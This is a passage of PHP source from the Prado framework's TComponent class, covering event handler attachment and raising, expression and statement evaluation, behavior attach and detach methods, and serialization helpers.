an event handler to an event. * * The handler must be a valid PHP callback, i.e., a string referring to * a global function name, or an array containing two elements with * the first element being an object and the second element a method name * of the object. In Prado, you can also use method path to refer to * an event handler. For example, array($object,'Parent.buttonClicked') * uses a method path that refers to the method $object->Parent->buttonClicked(...). * * The event handler must be of the following signature, * <code> * function handlerName($sender, $param) {} * function handlerName($sender, $param, $name) {} * </code> * where $sender represents the object that raises the event, * and $param is the event parameter. $name refers to the event name * being handled. * * This is a convenient method to add an event handler. * It is equivalent to {@link getEventHandlers}($name)->add($handler). * For complete management of event handlers, use {@link getEventHandlers} * to get the event handler list first, and then do various * {@link TWeakCallableCollection} operations to append, insert or remove * event handlers. You may also do these operations like * getting and setting properties, e.g., * <code> * $component->OnClick[]=array($object,'buttonClicked'); * $component->OnClick->insertAt(0,array($object,'buttonClicked')); * </code> * which are equivalent to the following * <code> * $component->getEventHandlers('OnClick')->add(array($object,'buttonClicked')); * $component->getEventHandlers('OnClick')->insertAt(0,array($object,'buttonClicked')); * </code> * * Due to the nature of {@link getEventHandlers}, any active behaviors defining * new 'on' events, this method will pass through to the behavior transparently. * * @param string $name the event name * @param callable $handler the event handler * @param null|numeric $priority the priority of the handler, defaults to null which translates into the * default priority of 10.0 within {@link TWeakCallableCollection} * @throws TInvalidOperationException if the event does not exist */ public function attachEventHandler($name, $handler, $priority = null) { $this->getEventHandlers($name)->add($handler, $priority); } /** * Detaches an existing event handler. * This method is the opposite of {@link attachEventHandler}. It will detach * any 'on' events defined by an objects active behaviors as well. * @param string $name event name * @param callable $handler the event handler to be removed * @param null|false|numeric $priority the priority of the handler, defaults to false which translates * to an item of any priority within {@link TWeakCallableCollection}; null means the default priority * @return bool if the removal is successful */ public function detachEventHandler($name, $handler, $priority = false) { if ($this->hasEventHandler($name)) { try { $this->getEventHandlers($name)->remove($handler, $priority); return true; } catch (\Exception $e) { } } return false; } /** * Raises an event. This raises both inter-object 'on' events and global 'fx' events. * This method represents the happening of an event and will * invoke all attached event handlers for the event in {@link TWeakCallableCollection} order. * This method does not handle intra-object/behavior dynamic 'dy' events. * * There are ways to handle event responses. By defailt {@link EVENT_RESULT_FILTER}, * all event responses are stored in an array, filtered for null responses, and returned. * If {@link EVENT_RESULT_ALL} is specified, all returned results will be stored along * with the sender and param in an array * <code> * $result[] = array('sender'=>$sender,'param'=>$param,'response'=>$response); * </code> * * If {@link EVENT_RESULT_FEED_FORWARD} is specified, then each handler result is then * fed forward as the parameters for the next event. This allows for events to filter data * directly by affecting the event parameters * * If a callable function is set in the response type or the post function filter is specified then the * result of each called event handler is post processed by the callable function. Used in * combination with {@link EVENT_RESULT_FEED_FORWARD}, any event (and its result) can be chained. * * When raising a global 'fx' event, registered handlers in the global event list for * {@link GLOBAL_RAISE_EVENT_LISTENER} are always added into the set of event handlers. In this way, * these global events are always raised for every global 'fx' event. The registered handlers for global * raiseEvent events have priorities. Any registered global raiseEvent event handlers with a priority less than zero * are added before the main event handlers being raised and any registered global raiseEvent event handlers * with a priority equal or greater than zero are added after the main event handlers being raised. In this way * all {@link GLOBAL_RAISE_EVENT_LISTENER} handlers are always called for every raised 'fx' event. * * Behaviors may implement the following functions: * <code> * public function dyPreRaiseEvent($name,$sender,$param,$responsetype,$postfunction[, $chain]) { * return $name; //eg, the event name may be filtered/changed * } * public function dyIntraRaiseEventTestHandler($handler,$sender,$param,$name[, $chain]) { * return true; //should this particular handler be executed? true/false * } * public function dyIntraRaiseEventPostHandler($name,$sender,$param,$handler,$response[, $chain]) { * //contains the per handler response * } * public function dyPostRaiseEvent($responses,$name,$sender,$param,$responsetype,$postfunction[, $chain]) { * return $responses; * } * </code> * to be executed when raiseEvent is called. The 'intra' dynamic events are called per handler in * the handler loop. * * dyPreRaiseEvent has the effect of being able to change the event being raised. This intra * object/behavior event returns the name of the desired event to be raised. It will pass through * if no dynamic event is specified, or if the original event name is returned. * dyIntraRaiseEventTestHandler returns true or false as to whether a specific handler should be * called for a specific raised event (and associated event arguments) * dyIntraRaiseEventPostHandler does not return anything. This allows behaviors to access the results * of an event handler in the per handler loop. * dyPostRaiseEvent returns the responses. This allows for any post processing of the event * results from the sum of all event handlers * * When handling a catch-all {@link __dycall}, the method name is the name of the event * and the parameters are the sender, the param, and then the name of the event. * * @param string $name the event name * @param mixed $sender the event sender object * @param \Prado\TEventParameter $param the event parameter * @param null|numeric $responsetype how the results of the event are tabulated. default: {@link EVENT_RESULT_FILTER} The default filters out * null responses. optional * @param null|callable $postfunction any per handler filtering of the response result needed is passed through * this if not null. default: null. optional * @throws TInvalidOperationException if the event is undefined * @throws TInvalidDataValueException If an event handler is invalid * @return mixed the results of the event */ public function raiseEvent($name, $sender, $param, $responsetype = null, $postfunction = null) { $p = $param; if (is_callable($responsetype)) { $postfunction = $responsetype; $responsetype = null; } if ($responsetype === null) { $responsetype = TEventResults::EVENT_RESULT_FILTER; } $name = strtolower($name); $responses = []; $name = $this->dyPreRaiseEvent($name, $sender, $param, $responsetype, $postfunction); if ($this->hasEventHandler($name) || $this->hasEventHandler(TComponent::GLOBAL_RAISE_EVENT_LISTENER)) { $handlers = $this->getEventHandlers($name); $handlerArray = $handlers->toArray(); if (strncasecmp($name, 'fx', 2) === 0 && $this->hasEventHandler(TComponent::GLOBAL_RAISE_EVENT_LISTENER)) { $globalhandlers = $this->getEventHandlers(TComponent::GLOBAL_RAISE_EVENT_LISTENER); $handlerArray = array_merge($globalhandlers->toArrayBelowPriority(0), $handlerArray, $globalhandlers->toArrayAbovePriority(0)); } $response = null; foreach ($handlerArray as $handler) { if ($this->dyIntraRaiseEventTestHandler($handler, $sender, $param, $name) === false) { continue; } if (is_string($handler)) { if (($pos = strrpos($handler, '.')) !== false) { $object = $this->getSubProperty(substr($handler, 0, $pos)); $method = substr($handler, $pos + 1); if (method_exists($object, $method) || strncasecmp($method, 'dy', 2) === 0 || strncasecmp($method, 'fx', 2) === 0) { if ($method == '__dycall') { $response = $object->__dycall($name, [$sender, $param, $name]); } else { $response = $object->$method($sender, $param, $name); } } else { throw new TInvalidDataValueException('component_eventhandler_invalid', get_class($this), $name, $handler); } } else { $response = call_user_func($handler, $sender, $param, $name); } } elseif (is_callable($handler, true)) { [$object, $method] = $handler; if (is_string($object)) { $response = call_user_func($handler, $sender, $param, $name); } else { if (($pos = strrpos($method, '.')) !== false) { $object = $object->getSubProperty(substr($method, 0, $pos)); $method = substr($method, $pos + 1); } if (method_exists($object, $method) || strncasecmp($method, 'dy', 2) === 0 || strncasecmp($method, 'fx', 2) === 0) { if ($method == '__dycall') { $response = $object->__dycall($name, [$sender, $param, $name]); } else { $response = $object->$method($sender, $param, $name); } } else { throw new TInvalidDataValueException('component_eventhandler_invalid', get_class($this), $name, $handler[1]); } } } else { throw new TInvalidDataValueException('component_eventhandler_invalid', get_class($this), $name, gettype($handler)); } $this->dyIntraRaiseEventPostHandler($name, $sender, $param, $handler, $response); if ($postfunction) { $response = call_user_func_array($postfunction, [$sender, $param, $this, $response]); } if ($responsetype & TEventResults::EVENT_RESULT_ALL) { $responses[] = ['sender' => $sender, 'param' => $param, 'response' => $response]; } else { $responses[] = $response; } if ($response !== null && ($responsetype & TEventResults::EVENT_RESULT_FEED_FORWARD)) { $param = $response; } } } elseif (strncasecmp($name, 'on', 2) === 0 && !$this->hasEvent($name)) { throw new TInvalidOperationException('component_event_undefined', get_class($this), $name); } if ($responsetype & TEventResults::EVENT_RESULT_FILTER) { $responses = array_filter($responses); } $responses = $this->dyPostRaiseEvent($responses, $name, $sender, $param, $responsetype, $postfunction); return $responses; } /** * Evaluates a PHP expression in the context of this control. * * Behaviors may implement the function: * <code> * public function dyEvaluateExpressionFilter($expression, $chain) { * return $chain->dyEvaluateExpressionFilter(str_replace('foo', 'bar', $expression)); //example * } * </code> * to be executed when evaluateExpression is called. All attached behaviors are notified through * dyEvaluateExpressionFilter. The chaining is important in this function due to the filtering * pass-through effect. * * @param string $expression PHP expression * @throws TInvalidOperationException if the expression is invalid * @return mixed the expression result */ public function evaluateExpression($expression) { $expression = $this->dyEvaluateExpressionFilter($expression); try { return eval("return $expression;"); } catch (\Exception $e) { throw new TInvalidOperationException('component_expression_invalid', get_class($this), $expression, $e->getMessage()); } } /** * Evaluates a list of PHP statements. * * Behaviors may implement the function: * <code> * public function dyEvaluateStatementsFilter($statements, $chain) { * return $chain->dyEvaluateStatementsFilter(str_replace('foo', 'bar', $statements)); //example * } * </code> * to be executed when evaluateStatements is called. All attached behaviors are notified through * dyEvaluateStatementsFilter. The chaining is important in this function due to the filtering * pass-through effect. * * @param string $statements PHP statements * @throws TInvalidOperationException if the statements are invalid * @return string content echoed or printed by the PHP statements */ public function evaluateStatements($statements) { $statements = $this->dyEvaluateStatementsFilter($statements); try { ob_start(); if (eval($statements) === false) { throw new \Exception(''); } $content = ob_get_contents(); ob_end_clean(); return $content; } catch (\Exception $e) { throw new TInvalidOperationException('component_statements_invalid', get_class($this), $statements, $e->getMessage()); } } /** * This method is invoked after the component is instantiated by a template. * When this method is invoked, the component's properties have been initialized. * The default implementation of this method will invoke * the potential parent component's {@link addParsedObject}. * This method can be overridden. * * Behaviors may implement the function: * <code> * public function dyCreatedOnTemplate($parent, $chain) { * return $chain->dyCreatedOnTemplate($parent); //example * } * </code> * to be executed when createdOnTemplate is called. All attached behaviors are notified through * dyCreatedOnTemplate. * * @param \Prado\TComponent $parent potential parent of this control * @see addParsedObject */ public function createdOnTemplate($parent) { $parent = $this->dyCreatedOnTemplate($parent); $parent->addParsedObject($this); } /** * Processes an object that is created during parsing template. * The object can be either a component or a static text string. * This method can be overridden to customize the handling of newly created objects in template. * Only framework developers and control developers should use this method. * * Behaviors may implement the function: * <code> * public function dyAddParsedObject($object[, $chain]) { * } * </code> * to be executed when addParsedObject is called. All attached behaviors are notified through * dyAddParsedObject. * * @param \Prado\TComponent|string $object text string or component parsed and instantiated in template * @see createdOnTemplate */ public function addParsedObject($object) { $this->dyAddParsedObject($object); } /** *This is the method registered for all instanced objects should a class behavior be added after * the class is instanced. Only when the class to which the behavior is being added is in this * object's class hierarchy, via {@link getClassHierarchy}, is the behavior added to this instance. * @param mixed $sender the application * @param TClassBehaviorEventParameter $param * @since 3.2.3 */ public function fxAttachClassBehavior($sender, $param) { if ($this->isa($param->getClass())) { return $this->attachBehavior($param->getName(), $param->getBehavior(), $param->getPriority()); } } /** * This is the method registered for all instanced objects should a class behavior be removed after * the class is instanced. Only when the class to which the behavior is being added is in this * object's class hierarchy, via {@link getClassHierarchy}, is the behavior removed from this instance. * @param mixed $sender the application * @param TClassBehaviorEventParameter $param * @since 3.2.3 */ public function fxDetachClassBehavior($sender, $param) { if ($this->isa($param->getClass())) { return $this->detachBehavior($param->getName(), $param->getPriority()); } } /** * instanceBehavior is an internal method that takes a Behavior Object, a class name, or array of * ['class' => 'MyBehavior', 'property1' => 'Value1'...] and creates a Behavior in return. eg. * <code> * $b = $this->instanceBehavior('MyBehavior'); * $b = $this->instanceBehavior(['class' => 'MyBehavior', 'property1' => 'Value1']); * $b = $this->instanceBehavior(new MyBehavior); * </code> * @param array|IBaseBehavior|string $behavior string, Behavior, or array of ['class' => 'MyBehavior', 'property1' => 'Value1' ...]. * @throws TInvalidDataTypeException if the behavior is not an {@link IBaseBehavior} * @return IBaseBehavior&TComponent an instance of $behavior or $behavior itself * @since 4.2.0 */ protected static function instanceBehavior($behavior) { if (is_string($behavior) || (is_array($behavior) && isset($behavior['class']))) { $behavior = Prado::createComponent($behavior); } if (!($behavior instanceof IBaseBehavior)) { throw new TInvalidDataTypeException('component_not_a_behavior', get_class($behavior)); } return $behavior; } /** * This will add a class behavior to all classes instanced (that are listening) and future newly instanced objects. * This registers the behavior for future instances and pushes the changes to all the instances that are listening as well. * The universal class behaviors are stored in an inverted stack with the latest class behavior being at the first position in the array. * This is done so class behaviors are added last first. * @param string $name name the key of the class behavior * @param object|string $behavior class behavior or name of the object behavior per instance * @param null|IBaseBehavior|string $class string of class or class on which to attach this behavior. Defaults to null which will error * but more important, if this is on PHP 5.3 it will use Late Static Binding to derive the class * it should extend. * <code> * TPanel::attachClassBehavior('javascripts', (new TJsPanelBehavior())->init($this)); * </code> * @param null|numeric $priority priority of behavior, default: null the default priority of the {@link TWeakCallableCollection} Optional. * @throws TInvalidOperationException if the class behavior is being added to a {@link TComponent}; due to recursion. * @throws TInvalidOperationException if the class behavior is already defined * @since 3.2.3 */ public static function attachClassBehavior($name, $behavior, $class = null, $priority = null) { if (!$class && function_exists('get_called_class')) { $class = get_called_class(); } if (!$class) { throw new TInvalidOperationException('component_no_class_provided_nor_late_binding'); } if (!is_string($name)) { $name = get_class($name); } $class = strtolower($class); if ($class === 'prado\\tcomponent') { throw new TInvalidOperationException('component_no_tcomponent_class_behaviors'); } if (empty(self::$_um[$class])) { self::$_um[$class] = []; } if (isset(self::$_um[$class][$name])) { throw new TInvalidOperationException('component_class_behavior_defined', $class, $name); } $behaviorObject = self::instanceBehavior($behavior); $param = new TClassBehaviorEventParameter($class, $name, $behavior, $priority); self::$_um[$class] = [$name => $param] + self::$_um[$class]; return $behaviorObject->raiseEvent('fxAttachClassBehavior', null, $param); } /** * This will remove a behavior from a class. It unregisters it from future instances and * pulls the changes from all the instances that are listening as well. * PHP 5.3 uses Late Static Binding to derive the static class upon which this method is called. * @param string $name the key of the class behavior * @param string $class class on which to attach this behavior. Defaults to null. * @param null|false|numeric $priority priority: false is any priority, null is default * {@link TWeakCallableCollection} priority, and numeric is a specific priority. * @throws TInvalidOperationException if the the class cannot be derived from Late Static Binding and is not * not supplied as a parameter. * @since 3.2.3 */ public static function detachClassBehavior($name, $class = null, $priority = false) { if (!$class && function_exists('get_called_class')) { $class = get_called_class(); } if (!$class) { throw new TInvalidOperationException('component_no_class_provided_nor_late_binding'); } $class = strtolower($class); if (!is_string($name)) { $name = get_class($name); } if (empty(self::$_um[$class]) || !isset(self::$_um[$class][$name])) { return false; } $param = self::$_um[$class][$name]; $behavior = $param->getBehavior(); $behaviorObject = self::instanceBehavior($behavior); unset(self::$_um[$class][$name]); return $behaviorObject->raiseEvent('fxDetachClassBehavior', null, $param); } /** * Returns the named behavior object. * The name 'asa' stands for 'as a'. * @param string $behaviorname the behavior name * @return IBehavior the behavior object, or null if the behavior does not exist * @since 3.2.3 */ public function asa($behaviorname) { return $this->_m[$behaviorname] ?? null; } /** * Returns whether or not the object or any of the behaviors are of a particular class. * The name 'isa' stands for 'is a'. This first checks if $this is an instanceof the class. * It then checks each Behavior. If a behavior implements {@link IInstanceCheck}, * then the behavior can determine what it is an instanceof. If this behavior function returns true, * then this method returns true. If the behavior instance checking function returns false, * then no further checking is performed as it is assumed to be correct. * * If the behavior instance check function returns nothing or null or the behavior * doesn't implement the {@link IInstanceCheck} interface, then the default instanceof occurs. * The default isa behavior is to check if the behavior is an instanceof the class. * * The behavior {@link IInstanceCheck} is to allow a behavior to have the host object * act as a completely different object. * * @param mixed|string $class class or string * @return bool whether or not the object or a behavior is an instance of a particular class * @since 3.2.3 */ public function isa($class) { if ($this instanceof $class) { return true; } if ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if (($behavior instanceof IBehavior) && !$behavior->getEnabled()) { continue; } $check = null; if (($behavior->isa('\Prado\Util\IInstanceCheck')) && $check = $behavior->isinstanceof($class, $this)) { return true; } if ($check === null && ($behavior->isa($class))) { return true; } } } return false; } /** * Attaches a list of behaviors to the component. * Each behavior is indexed by its name and should be an instance of * {@link IBehavior}, a string specifying the behavior class, or a * {@link TClassBehaviorEventParameter}. * @param array $behaviors list of behaviors to be attached to the component * @since 3.2.3 */ public function attachBehaviors($behaviors) { foreach ($behaviors as $name => $behavior) { if ($behavior instanceof TClassBehaviorEventParameter) { $this->attachBehavior($behavior->getName(), $behavior->getBehavior(), $behavior->getPriority()); } else { $this->attachBehavior($name, $behavior); } } } /** * Detaches select behaviors from the component. * Each behavior is indexed by its name and should be an instance of * {@link IBehavior}, a string specifying the behavior class, or a * {@link TClassBehaviorEventParameter}. * @param array $behaviors list of behaviors to be detached from the component * @since 3.2.3 */ public function detachBehaviors($behaviors) { if ($this->_m !== null) { foreach ($behaviors as $name => $behavior) { if ($behavior instanceof TClassBehaviorEventParameter) { $this->detachBehavior($behavior->getName(), $behavior->getPriority()); } else { $this->detachBehavior(is_string($behavior) ? $behavior : $name); } } } } /** * Detaches all behaviors from the component. * @since 3.2.3 */ public function clearBehaviors() { if ($this->_m !== null) { foreach ($this->_m->toArray() as $name => $behavior) { $this->detachBehavior($name); } $this->_m = null; } } /** * Attaches a behavior to this component. * This method will create the behavior object based on the given * configuration. After that, the behavior object will be initialized * by calling its {@link IBehavior::attach} method. * * Already attached behaviors may implement the function: * <code> * public function dyAttachBehavior($name,$behavior[, $chain]) { * } * </code> * to be executed when attachBehavior is called. All attached behaviors are notified through * dyAttachBehavior. * * @param string $name the behavior's name. It should uniquely identify this behavior. * @param array|IBaseBehavior|string $behavior the behavior configuration. This is the name of the Behavior Class * instanced by {@link PradoBase::createComponent}, or is a Behavior, or is an array of * ['class'=>'TBehavior' property1='value 1' property2='value2'...] with the class and properties * with values. * @param null|numeric $priority * @return IBehavior the behavior object * @since 3.2.3 */ public function attachBehavior($name, $behavior, $priority = null) { $behavior = self::instanceBehavior($behavior); if ($behavior instanceof IBehavior) { $behavior->setEnabled(true); } if ($this->_m === null) { $this->_m = new TPriorityMap(); } $this->_m->add($name, $behavior, $priority); $behavior->attach($this); $this->dyAttachBehavior($name, $behavior); return $behavior; } /** * Detaches a behavior from the component. * The behavior's {@link IBehavior::detach} method will be invoked. * * Behaviors may implement the function: * <code> * public function dyDetachBehavior($name,$behavior[, $chain]) { * } * </code> * to be executed when detachBehavior is called. All attached behaviors are notified through * dyDetachBehavior. * * @param string $name the behavior's name. It uniquely identifies the behavior. * @param false|numeric $priority the behavior's priority. This defaults to false, aka any priority. * @return null|IBehavior the detached behavior. Null if the behavior does not exist. * @since 3.2.3 */ public function detachBehavior($name, $priority = false) { if ($this->_m != null && isset($this->_m[$name])) { $this->_m[$name]->detach($this); $behavior = $this->_m->itemAt($name); $this->_m->remove($name, $priority); $this->dyDetachBehavior($name, $behavior); return $behavior; } return null; } /** * Enables all behaviors attached to this component independent of the behaviors * * Behaviors may implement the function: * <code> * public function dyEnableBehaviors($name,$behavior[, $chain]) { * } * </code> * to be executed when enableBehaviors is called. All attached behaviors are notified through * dyEnableBehaviors. * @since 3.2.3 */ public function enableBehaviors() { if (!$this->_behaviorsenabled) { $this->_behaviorsenabled = true; $this->dyEnableBehaviors(); } } /** * Disables all behaviors attached to this component independent of the behaviors * * Behaviors may implement the function: * <code> * public function dyDisableBehaviors($name,$behavior[, $chain]) { * } * </code> * to be executed when disableBehaviors is called. All attached behaviors are notified through * dyDisableBehaviors. * @since 3.2.3 */ public function disableBehaviors() { if ($this->_behaviorsenabled) { $this->dyDisableBehaviors(); $this->_behaviorsenabled = false; } } /** * Returns if all the behaviors are turned on or off for the object. * @return bool whether or not all behaviors are enabled (true) or not (false) * @since 3.2.3 */ public function getBehaviorsEnabled() { return $this->_behaviorsenabled; } /** * Enables an attached object behavior. This cannot enable or disable whole class behaviors. * A behavior is only effective when it is enabled. * A behavior is enabled when first attached. * * Behaviors may implement the function: * <code> * public function dyEnableBehavior($name,$behavior[, $chain]) { * } * </code> * to be executed when enableBehavior is called. All attached behaviors are notified through * dyEnableBehavior. * * @param string $name the behavior's name. It uniquely identifies the behavior. * @since 3.2.3 */ public function enableBehavior($name) { if ($this->_m != null && isset($this->_m[$name])) { if ($this->_m[$name] instanceof IBehavior) { $this->_m[$name]->setEnabled(true); $this->dyEnableBehavior($name, $this->_m[$name]); return true; } return false; } return null; } /** * Disables an attached behavior. This cannot enable or disable whole class behaviors. * A behavior is only effective when it is enabled. * * Behaviors may implement the function: * <code> * public function dyDisableBehavior($name,$behavior[, $chain]) { * } * </code> * to be executed when disableBehavior is called. All attached behaviors are notified through * dyDisableBehavior. * * @param string $name the behavior's name. It uniquely identifies the behavior. * @since 3.2.3 */ public function disableBehavior($name) { if ($this->_m != null && isset($this->_m[$name])) { if ($this->_m[$name] instanceof IBehavior) { $this->_m[$name]->setEnabled(false); $this->dyDisableBehavior($name, $this->_m[$name]); return true; } return false; } return null; } /** * Returns an array with the names of all variables of that object that should be serialized. * Do not call this method. This is a PHP magic method that will be called automatically * prior to any serialization. */ public function __sleep() { $a = (array) $this; $a = array_keys($a); $exprops = []; $this->_getZappableSleepProps($exprops); return array_diff($a, $exprops); } /** * Returns an array with the names of all variables of this object that should NOT be serialized * because their value is the default one or useless to be cached for the next page loads. * Reimplement in derived classes to add new variables, but remember to also to call the parent * implementation first. * @param array $exprops by reference */ protected function _getZappableSleepProps(&$exprops) { if ($this->_listeningenabled === false) { $exprops[] = "\0*\0_listeningenabled"; } if ($this->_behaviorsenabled === true) { $exprops[] = "\0*\0_behaviorsenabled"; } if ($this->_e === []) { $exprops[] = "\0*\0_e"; } if ($this->_m === null) { $exprops[] = "\0*\0_m"; } } }
Close